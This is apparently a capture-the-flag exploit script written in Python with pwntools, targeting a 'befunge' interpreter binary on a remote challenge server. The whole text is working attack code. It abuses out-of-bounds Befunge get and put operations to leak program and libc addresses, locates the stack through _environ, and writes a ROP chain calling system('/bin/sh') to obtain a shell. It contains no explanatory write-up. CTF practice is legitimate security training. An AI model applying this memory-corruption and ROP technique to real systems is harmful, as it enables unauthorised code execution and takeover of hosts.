1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| from pwn import * from LibcSearcher import *
elf = ELF('./befunge') program_bss = 0x202040 pop_rdi = 0x120c sh = remote('111.198.29.45',32870)
def write_stack(offset,data): offset_x1 = offset / 80 / 10000 offset_x2 = 10000 offset_x = offset_x1 * offset_x2 offset_y = offset - offset_x*80 for y in range(offset_y,offset_y+8): d = data & 0xFF data = data >> 8 sh.sendline(str(d)) sh.sendline(str(y)) sh.sendline(str(offset_x1)) sh.sendline(str(offset_x2))
my_program = ('''''&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&&*g,&&&*g,AAAv vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&<\n''')
my_program += '>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv\n' my_program += '<&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&gAAAAAAAAAv'[::-1] print '==============================================the befunge program==============================' print my_program print '==============================================================================================' sh.sendlineafter('>',my_program) for i in range(23): sh.sendlineafter('>','')
sh.recv()
exit_ptr = '' for i in range(-64,-56): sh.sendline(str(i)) sh.sendline('-1') exit_ptr += sh.recv(1)
program_ptr = '' for i in range(-16,-8): sh.sendline(str(i)) sh.sendline('-1') program_ptr += sh.recv(1) exit_addr = u64(exit_ptr) program_addr = u64(program_ptr) elf_base = program_addr - program_bss pop_rdi_addr = elf_base + pop_rdi libc = LibcSearcher('exit',exit_addr) libc_base = exit_addr - libc.dump('exit') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') print 'elf_base=',hex(elf_base) print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) print 'binsh_addr=',hex(binsh_addr) print 'pop_rdi_addr=',hex(pop_rdi_addr)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_environ_ptr = libc_base + libc.symbols['_environ'] _environ = '' offset = _environ_ptr - program_addr
'''''offset_x = offset / 80 offset_y = offset - offset_x*80 '''
offset_x1 = offset / 80 / 10000 offset_x2 = 10000 offset_x = offset_x1 * offset_x2 offset_y = offset - offset_x*80 for y in range(offset_y,offset_y+8): sh.sendline(str(y)) sh.sendline(str(offset_x1)) sh.sendline(str(offset_x2)) _environ += sh.recv(1) _environ = u64(_environ)
stack_addr = _environ - 0xF0 print 'stack_addr',hex(stack_addr) offset = stack_addr - program_addr write_stack(offset,pop_rdi_addr) write_stack(offset+8,binsh_addr) write_stack(offset+16,system_addr)
sh.sendline(str(0)) sh.sendline(str(0)) sh.sendline('zhaohai') sh.interactive()
|